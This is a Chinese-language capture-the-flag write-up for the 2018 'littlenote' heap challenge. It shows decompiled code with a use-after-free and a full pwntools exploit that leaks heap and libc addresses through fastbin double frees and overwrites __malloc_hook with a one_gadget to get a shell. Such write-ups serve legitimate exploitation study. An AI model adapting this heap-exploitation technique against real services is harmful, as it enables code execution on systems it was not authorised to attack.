题目:https://github.com/giantbranch/CTF_PWN/tree/master/2018/tie3/littlenote
保护方式:保护全开
[*] '/root/ctf201812/littlenote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
漏洞点1:free的时候堆空间没有置0,全局note数组也没有置0
unsigned __int64 freenote()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Which note do you want to delete?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
free(note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
上面全局note数组也没有置0,就导致可以free了之后还可以show,也即uaf
unsigned __int64 shownote()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Which note do you want to show?");
_isoc99_scanf("%u", &v1);
if ( v1 < (unsigned __int64)notenum )
{
if ( note[v1] )
puts((const char *)note[v1]);
puts("Done");
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v2;
}
还有一个是add的代码,那个N的分支好像没什么用
unsigned __int64 addnote()
{
__int64 v0; // rbx
__int64 v1; // rbx
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( (unsigned __int64)notenum > 0xF )
puts("FULL");
v0 = notenum;
note[v0] = malloc(0x60uLL);
puts("Enter your note");
read(0, note[notenum], 0x60uLL);
puts("Want to keep your note?");
read(0, &buf, 7uLL);
if ( buf == 'N' )
{
puts("OK,I will leave a backup note for you");
free(note[notenum]);
v1 = notenum;
note[v1] = malloc(0x20uLL);
}
++notenum;
puts("Done");
return __readfsqword(0x28u) ^ v4;
}
要点
1、任意地址写:fastbin 的uaf 2、泄露堆地址:fastbin的free 3、泄露libc地址:非fastbin的free,如smallbin 4、堆溢出:fastbin的uaf可以在当前堆块伪造同样大小的size之后就可以溢出下一个堆块的size了,从而构造smallbin大小, 5、free smallbin大小的注意下一块堆块对应的位置的size大小
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-12-07 21:54:30
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :
from pwn import *
# context.log_level = "debug"
p = process("./littlenote")
# local libc
main_arena_offset = 0x39db00
one_gadget_offset = 0x40c3f
def add(note):
p.recvuntil("Your choice:\n")
p.sendline("1")
p.recvuntil("Enter your note\n")
p.send(note)
p.recvuntil("Want to keep your note?\n")
p.sendline("Y")
def show(index):
p.recvuntil("Your choice:\n")
p.sendline("2")
p.recvuntil("Which note do you want to show?\n")
p.sendline(str(index))
def delete(index):
p.recvuntil("Your choice:\n")
p.sendline("3")
p.recvuntil("Which note do you want to delete?\n")
p.sendline(str(index))
def getpid():
print proc.pidof(p)[0]
pause()
# lead heap
add("A" * 0x10)
add("B" * 0x8 + p64(0x71))
add("C" * 0x10)
add(p64(0) * 3 + p64(0x51))
delete(1)
delete(0)
delete(1)
show(0)
heap_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "heap_addr = " + hex(heap_addr)
# lead libc
add(p64(heap_addr + 0x10)) # fake fd
add("D" * 8) # offset 0x00
add(p64(0)) # offset 0x70
add("F" * 0x50 + p64(0) + p64(0x91)) # modify the size
delete(2) # free the 0x91 heap
show(2)
main_arena_near = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
# print "main_arena_near = " + hex(main_arena_near)
main_arena_addr = main_arena_near - 0x58
print "main_arena_addr = " + hex(main_arena_addr)
libc_addr = main_arena_addr - main_arena_offset
print "libc_addr = " + hex(libc_addr)
one_gadget_addr = libc_addr + one_gadget_offset
print "one_gadget_addr = " + hex(one_gadget_addr)
# write malloc_hook
add("1") # 8
add("2") # 9
add("3") # 10
delete(8)
delete(9)
delete(8)
# x /10gx (long long)(&main_arena) - 51
fake_addr = main_arena_addr - 51
add(p64(fake_addr)) # 11
add("UUUUUUUU") #12
add("OOOOOOOO") #13
add("A" * 0x13 + p64(one_gadget_addr)) #14
# getpid()
# getshell
print "get shell now"
p.recvuntil("Your choice:\n")
p.sendline("1")
# add("G" * 8)
# delete(0)
# getpid()
# p.sendline()
p.interactive()